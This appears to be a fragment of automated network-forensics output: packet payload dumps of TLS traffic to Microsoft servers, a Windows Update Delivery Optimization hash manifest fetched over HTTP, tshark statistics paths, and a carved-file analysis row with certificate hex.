#103\n..0Y.........;9*g...2Aqv.....DB..83.<.ULe....i;h=~.D..L,...K...W;...e.......I.==N...`.....=0..90..50..........C.l.....3.......l..0...*.H........0W1.0...U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040...260627155018Z..260727155018Z0n1.0...U....US1.0...U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....TLS-G2-RSA-04 OCSP Cert0..\"\"0...*.H.............0..\n.......w....Oh..>k.u.........l>.zv.eVI.,M`y&...Z;uLC...9nP>C.x../............F.)i.....)z.......6?.V......%.......p.............k.\"\"...:..&...|..V.|.:Eb.t..s[j.tM..|G,...B9...........{:....#.7...E...'....?/?.....pH.?>.T.#.W...U42..._.....G..t.].sGB7S.1.A?.....6..........0..0...U.......0.0...U.%..0\n..+.......0...U.......)3e...;.-M.Ds.....^0...U.#..0...T.....}.....4dDg.u.e0...U...........0<..+.....7.../0-.%+.....7.........F...........]...\"\"......d...0...+.....7.\n..0.0\n..+.......0...+.....0......0...*.H.............$sM.....b..S.Z.>OF....x;.n.$c......,.b..g.....C...dO.....qni..=.w..'c....:.W...[.P...6..s..&.........M.&. .k..n.0.$..H!.3,tG9u%\n&c.3.|..V(:pfiy.......4.`.4.H..]....H..p..kj.....X3~\\x..I..Kn5{t...y.........<.....]..CM$.9R....{.gZ.g...M.\nz.\"\".D.5......*fROl..3..Dt..e..w.....z .].'D.}S.N.r.}..............J...}.....:...5L.pC.....=..^.?.......h..S..6........{Q...;`u.....(..B....6..w5.....+....k....-.|.L?.G...W.1....V....Q.).]...@..Ay.........Bd.J\\...@.F.UA.c..N0..w..r....th....e..~.....~....NK'.....]..s.k..-...C{...i...a.......k...-j.8_6..f}..2..S..\"\".&6j.|......2r+Ik..#..s..R.@.3.!S.1...V.;..n...a..B.\n..[A{.:2...8......X...u..\"\"....C.[.J..Kr..o.s.c&.-....&...Q.j<...!..WI..........q<..@...F.8..V.U...m.oQ......~0........~..=.4.%.....\\...`...q..8....(..Cc.Y..u.....B .-.{.../...=.0.W.{h..D7`..F..........u.~.6qi.5..v.a..t.F...F.a..ny@.3.>.AZ.6.ld. ...f9...$D....DL...........w.....\n##\nT 10.152.152.11:64004 -> 52.97.250.242:443 [AP] #105\n....f...ba..k.......+eSk..L..A...Y....7....V...=.{..(B].`NG......1..\"\"1.:.Q.....&UD..K.-2T....p'.p/i`.p....i..........(.........}.Y.....o.K.......\"\"Uc....F...P.\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] #107\n........*.....$.........hIH.....+l....P...T...H.....iu.9.G.'F......+.=.....Jp...+{p......~&<3.:.X..p..Y.X..vw...'.9B..k...Biz.....S.....}ON...\n.y[.M u..4!\n.5x.k@.......T...y.L....A...T.u.[.........NY4.E....&n.P4j..a-%.S...Y.M..k.B.y..^:.....%:...........:........c..;*W.&...f....CW..RT.=.........z...#9....Q..........(...........3...f........T....~.`.R.y..v.....@.........^~...1....n......S...*m..k.p.u....>.p..J..0..4d.XsB..\"\".\n##\nT 10.152.152.11:64004 -> 52.97.250.242:443 [AP] #109\n....R.............%.....\n.N.n....n/.....AP'..a.\\...6U2.......kK*.}....r....u.%...y.....\n##\nT 10.152.152.11:64004 -> 52.97.250.242:443 [AP] #111\n....o........<........2..+R....y.ip.1Z..x..U....U..?@.]hV.....4..li98.....E..iH.<.c..^_5.......U.D_..3.h:./.....\n.**\n##\nT 10.152.152.11:64004 -> 52.97.250.242:443 [AP] #113\n....!........b.s.S..#.EY..}..P........\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] #115\n....!........!z...$....n..tR,.....c\"\"......T...........K5..Ol.......sVJ.X..U....H3.o.Su.........Y.d...Y{WM....C.q9{....Oy....Jl...-nv&.A...\"\"..-...A..2.....H../......J.xd.. %.q......sq.....P.._..&.....I8;Z..9....}N..c...7.h...Q8a5Iu.......e......>A....QTJ}=;`5....>D..H.<2;..-..T!..APdw.r$.&..d.g..^Isk..1.c\\ ...I.......dvEJ.....o.8..\n'.nA.@.....`...mZ...........\n(...>....T..c.9.B..n...29D..HXa..F..*.....r....;.`.B.c{..A..............v.[z..dA`@w.P......u.<.a..Jb.......Lb.a..q....B.&..]..i9.Nd0.:.R...n.!].e.O..<c.*&.\n3..9...C.cj..X;...4.F.....?.A]+.q.B.L>q).....TQ.Td...F9.\"\".......a...\n:.I..........+`D..0b....PRt.l~...$.....1.........e.X&.n2....]......X.Z.).M..\\7i.].......]._.&..S.f.X.5...P...^...kv..k................R.h7..@..$..<.D........%....DGU.U.%u.c..w.Ej...#..uG..R(k..{..K[VA.....yU..caeS......,1P...gy.0.....|Y$o..I..7.GSX.?k.&.Q.........ex.H..ZW.=.T6.h6.....=............i.....nS\n...................du....%`.....?..[u..9/^Q..i,.S............\\n..|T.f....j'. ...\n..I2h......L.{.#..wW@..^....x..y......._..B'.O....9f.)(N....A.&<..k....[9.7Sxg+9vd...>.....go3....n..Z..z.{...Y.r..^.g.....ao..Z...fi.9H.....!.........u..|.....:....0.........\n##\nT 10.152.152.11:64004 -> 52.97.250.242:443 [AP] #117\n....;.........+J.......&.....d..(..<.xn#.?..H.....{..T5..A... ..\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] #119\n....P........j..!..#.....\\.Ww..........<Z`.f_.'b....R..SS....B.\n..2h.. ...\\.....F|h*W....dA.J................. ......]..i....ec....m...\nY./<lM...-Z.f_..f.-...3....z..C.YP3......(..;..0x&....B.......?..5.<..|..h....b.:e..R.{c..(\"\".e.....PQ(...%...>p.(.B.5.d.../.S.].h.......Ss.G..`y.........^...8.../..T......W.....0T...r..%A+1.......$.27a.h4E+^......$...u.-.Vv.uwDCJ..9.v.)^.>)>h.z..E^L....}.S .Ov....wk...$....K<.b......e.\n...Re?U.........L>..w.....,......Q/j7..{L7@...q..P=y\"\".q.6....G/.{C....X..4...2..M..y...{.)I._  .....u..&\"\"....xyp..J+.$..cm....<{S.....o.\\.............X4<.=........%..T+...b{.\n##\nT 10.152.152.11:64004 -> 52.97.250.242:443 [AP] #121\n....A................]...L....a.1.:.....r..%$........E....+.L..S......\n##\nT 52.97.250.242:443 -> 10.152.152.11:64004 [AP] #123\n.............C.?oX.{).&....)G..ZX......U.....4`{...L....5......L>rW..<X..N..!5.-.\n.yn=.....[.&_y.A.\"\"-j%....u.\"\".....9.N.tl.a..k%.K....(\"\".._....dE.Y;....B..8..4Y..:9..=..].fs..Z.D...[..m.w}.Q..M...l...1ez.6.o?.5.zr.......6.8t.............l.....W..d.....m..XM.n...p.gX......[.....[....Z..C.NoBl.....-3n.um.G^h.+df`..\n..|...*.MT..}~.#.........8....*_.,7P.d.C..a.h...f.p.Ck...yf;f..5..B7..7.rR..G...^..S`.:.\"\".;WC......|..g.,.S0:......>Y ..Q....t|>.$..-.X...?.........W\n.@s.r.@.p7.k_......ySW.~.! ...\\.,e.c....g.._..j..?...m.^...z\\:........y.5F...d....,..w.YRn...W.M:Z.........9...#.w...^.gi..[...7.10...N..:B..jZ..#.....Q.z+.\\R...g...9....6..^9Q..d\n..|...DulcL.l..J.EW\\+._......4.T...1.M.1~.*.......;.....`......x.}.....G...H.{.Ut.......4.w.f.NT'.t...7..+....^\"\"...4......w.I.o..%!.e.x.I...kb...G.Tj.:..$]7.@...j.>#..|.d....@.)>z..A.P.=....W.(.....U.|..Q../....'.%......+.....D+..k.`.}......g..t.L.YT....o\"\"NJPB........m.).c_/a`......M...v3......$\n########\nT 10.152.152.11:64007 -> 23.143.152.86:80 [AP] #131\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 23.143.152.86.\n.\"\n0.0,NGrep,##,\"Payload: T 23.143.152.86:80 -> 10.152.152.11:64007 [AP] #133\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Sun, 28 Jun 2026 14:01:53 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nVia: 1.1 varnish.\nAge: 141230.\nX-Served-By: cache-yyz4556-YYZ.\nX-Cache: HIT.\nX-Cache-Hits: 117.\nX-Timer: S1762470900.581871,VS0,VE0.\nX-CID: 10002.\nX-CCC: 70fdae68-09f8-4e27-a1e8-f413a1635733.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9v\n##\nT 23.143.152.86:80 -> 10.152.152.11:64007 [AP] #135\noKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n#exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmp6925_lng/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmp6925_lng/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmp6925_lng/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmp6925_lng/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmp6925_lng/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmp6925_lng/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmp6925_lng/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmp6925_lng/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,Path: /tmp/tmp6925_lng/tshark/objects/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com\n1782655301.456189,Forensics,File Carved: script,\"Path: /tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63946-184.30.157.69:443_fwd_0.script, Stream: 10.152.152.11:63946-184.30.157.69:443_fwd\"\n1782655301.456189,Forensics,File Carved: gzip,\"Path: /tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63946-184.30.157.69:443_bwd_1.gzip, Stream: 10.152.152.11:63946-184.30.157.69:443_bwd\"\n1782655303.319875,Forensics,File Carved: gzip,\"Path: /tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63964-40.99.204.34:443_bwd_2.gzip, Stream: 10.152.152.11:63964-40.99.204.34:443_bwd\"\n1782655303.319875,Forensics,File Carved: gzip,\"Path: /tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63964-40.99.204.34:443_bwd_3.gzip, Stream: 10.152.152.11:63964-40.99.204.34:443_bwd\"\n1782655307.448829,Forensics,File Carved: gzip,\"Path: /tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63997-52.97.183.194:443_bwd_4.gzip, Stream: 10.152.152.11:63997-52.97.183.194:443_bwd\"\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-06-28T19:42:55.092052,10.152.152.11:63997->52.97.183.194:443,10.152.152.11,63997,52.97.183.194,443,HTTP,carved_10.152.152.11:63997-52.97.183.194:443_bwd_4.gzip,gzip,/tmp/tmp6925_lng/carved_files/carved_10.152.152.11:63997-52.97.183.194:443_bwd_4.gzip,6664,1223036c33706d219efb7b926cb74294,7ca00425f57b5d9128c295891b2e1c0fdcc472bb484c97d2dc95c17d92ca5a57,7.76,\"iuP6, outlook.com, .hotmail.com, .internal.outlook.com, .live.com, .office.com, .office365.com, .outlook.com, .outlook.office365.com, attachment.outlook.live.net, attachment.outlook.office.net,  attachment.outlook.officeppe.net, attachments.office.net, attachments-sdf.office.net, ccs.login.microsoftonline.com, hotmail.com, mail.services.live.com, office365.com, outlook.office.com, substrate.office.com, substrate-sdf.office.com0>, 70503, 0)0', http://www.digicert.com/CPS0, Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H, Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0, 0y0$, http://ocsp.digicert.com0Q, Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0,  yF)[Ro, DigiCert Inc1, www.digicert.com1 0, DigiCert Global Root G20, 210330000000Z, 310329235959Z0Y1, DigiCert Inc1301, DigiCert Global G2 TLS RSA SHA256 2020 CA10, bRBu, j0h0$, http://ocsp.digicert.com0, 4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B, 0907, 1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0, 6040, MLV_, UZ8r, 20260624071842Z0s0q0I0, 20260624070300Z, 20260701060300Z0, $S%8, uIr), mm_$R, )jRX, 2cwG, AT%t, %N4PT, Uszq, DmLo, l(qw1, _>6R, (uTJ, DWHU, S>gAzh, l_l[, qbOD\",1f 8b d4 55 7c 05 e1 cf 94 70 38 72 b7 65 9d 9d 6b 76 0a 6a 69 34 5e d1 ce 3e ac ed 7f 67 a5 dd 86 02 ec 55 f3 d3 39 9c 74 fa 02 ec 3a 96 8d fe e6 e4 69 75 50 36 a9 3b bc 8c c6 38 f1 da b4 b9 30 2b 89 32 30 a9 b2 38 84 28 60 9b d6 f1 31 ff 09 ca e0 ec 1d 93 61 1b c7 c9 e2 24 8f 79 b2 0c 61 fd ee 2d df 23 1f 4d 4f ac 40 1b 2a b2 d1 0f fe d7 49 e4 23 ed 16 e7 45 3b 76 4c c5 59 f4 0d 43 70 65 10 52 7f bf a6 aa 02 cf e8 dc 87 aa 24 cb e7 09 8c cc fa af 7c 54 7a 88 91 7c 16 15 8b b7 a9 f7 61 85 45 21 fa 88 bf 96 70 20 2c d6 ba 70 de 3e 16 7b 85 de 62 47 35 3f c1 a9 66 b6 55 f7 55 d3 1d d9 e4 04 34 f3 97 9f 41 05 f6 de 78 0b 32 00 f7 7e d3 5e ce 89 d6 0e c1 18 3a a4 bd 02 03 01 00 01 a3 82 05 25 30 82 05 21 30 1f 06 03 55 1d 23 04 18 30 16 80 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1d 06 03 55 1d 0e 04 16 04 14 76 45 e5 c3 cb 9c fe fa 5f fe 24 55 e8 bc 60 dd be aa 93 e1 30 82 01 bd 06 03 55 1d 11 04 82 01 b4 30 82 01 b0 82 0b 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0d 2a 2e 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 2a 2e 69 6e 74 65 72 6e 61 6c 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0a 2a 2e 6c 69 76 65 2e 63 6f 6d 82 0c 2a 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 0f 2a 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 0d 2a 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 17 2a 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 1b 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6c 69 76 65 2e 6e 65 74 82 1d 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 6e 65 74 82 20 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 70 70 65 2e 6e 65 74 82 16 61 74 74 61 63 68 6d 65 6e 74 73 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1a 61 74 74 61 63 68 6d 65 6e 74 73 2d 73 64 66 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1d 63 63 73 2e 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 82 0b 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 6d 61 69 6c 2e 73 65 72 76 69 63 65 73 2e 6c 69 76 65 2e 63 6f 6d 82 0d 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 12 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 14 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 18 73 75 62 73 74 72 61 74 65 2d 73 64 66 2e 6f 66 66 69 63 65 2e 63 6f 6d 30 3e 06 03 55 1d 20 04 37 30 35 30 33 06 06 67 81 0c 01 02 02 30 29 30 27 06 08 2b 06 01 05 05 07 02 01 16 1b 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 43 50 53 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 81 9f 06 03 55 1d 1f 04 81 97 30 81 94 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 34 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 81 87 06 08 2b 06 01 05 05 07 01 01 04 7b 30 79 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 51 06 08 2b 06 01 05 05 07 30 02 86 45 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 74 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 82 01 7d 06 0a 2b 06 01 04 01 d6 79 02 04 02 04 82 01 6d 04 82 01 69 01 67 00 76 00 c2 31 7e 57 45 19 a3 45 ee 7f 38 de b2 90 41 eb c7 c2 21 5a 22 bf 7f d5 b5 ad 76 9a d9 0e 52 cd 00 00 01 9d 02 27 fa 81 00 00 04 03 00 47 30 45 02 20 65 03 d2 b3 b9 5c 5a 3a fb 9c 23 6d 63 a4 98 27 a2 3c ff 95 9c 02 b2 86 93 fa 4b 0b a1 ff 79 f3 02 21 00 92 61 07 97 1c 23 5c 13 3a a4 38 1f 9f 19 43 c1 0e 6f 9f 06 5a 00 8a 1c dd 69 c2 4a 3a e8 4e 9e 00 75 00 d8 09 55 3b 94 4f 7a ff c8 16 19 6f 94 4f 85 ab b0 f8 fc 5e 87 55 26 0f 15 d1 2e 72 bb 45 4b 14 00 00 01 9d 02 27 fa b6 00 00 04 03 00 46 30 44 02 20 59 fb 3c ec a6 4c 86 42 f9 03 36 57 0c 90 b3 77 88 e0 61 fd 0e 50 56 d8 98 38 96 d8 9b 8f 18 98 02 20 70 90 7a 4e d1 25 44 ec e6 3d e2 a4 7b 3c 7e 1b bc 48 cd 7f 17 cb 88 71 32 24 fd 1d 05 48 33 33 00 76 00 94 4e 43 87 fa ec c1 ef 81 f3 19 24 26 a8 18 65 01 c7 d3 5f 38 02 01 3f 72 67 7d 55 37 2e 19 d8 00 00 01 9d 02 27 fa 8e 00 00 04 03 00 47 30 45 02 21 00 bd 0d 16 c1 72 d2 97 d7 e7 7a 36 0b 09 f5 ac 4b 96 90 76 78 7a ea a5 e5 dd 33 89 4d 3d 11 80 08 02 20 79 46 29 5b 52 6f b4 44 ae ca 90 48 88 e1 ae da a1 88 ad e2 b5 0a bf b7 05 37 2a d7 60 1a c6 0d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 c8 d9 9f 18 d8 2d bd 8f df d8 d5 8d d4 40 4d b2 7c 38 25 d1 73 ec 17 50 fc 69 59 6c f7 f7 26 8f 13 f7 b9 82 f0 74 dd ce 49 d3 33 cf 5f 6e 80 24 35 c8 6f 6c 26 58 76 cc 89 56 36 74 1e ec 7a 54 3b d2 b4 f5 83 72 d6 1a 17 1e 67 53 cb 35 bf 16 ba bf 0f ee dd 03 2e c8 5c 7d 8d 80 f5 1c b7 52 09 52 5f 57 ec 8d 10 dd c3 a4 e7 92 30 09 d3 46 34 b8 38 3d 79 f4 61 eb d1 75 2b 81 f5 b7 2c 63 eb c2 d5 ac b1 af 15 97 ae 4f ea 4a 04 e7 46 13 0a a2 23 8f ed 38 e5 e6 42 3e 2a 49 da ee 7f 87 2b 2f 42 10 da d2 be c1 78 d6 dd b3 d1 28 12 da c0 af 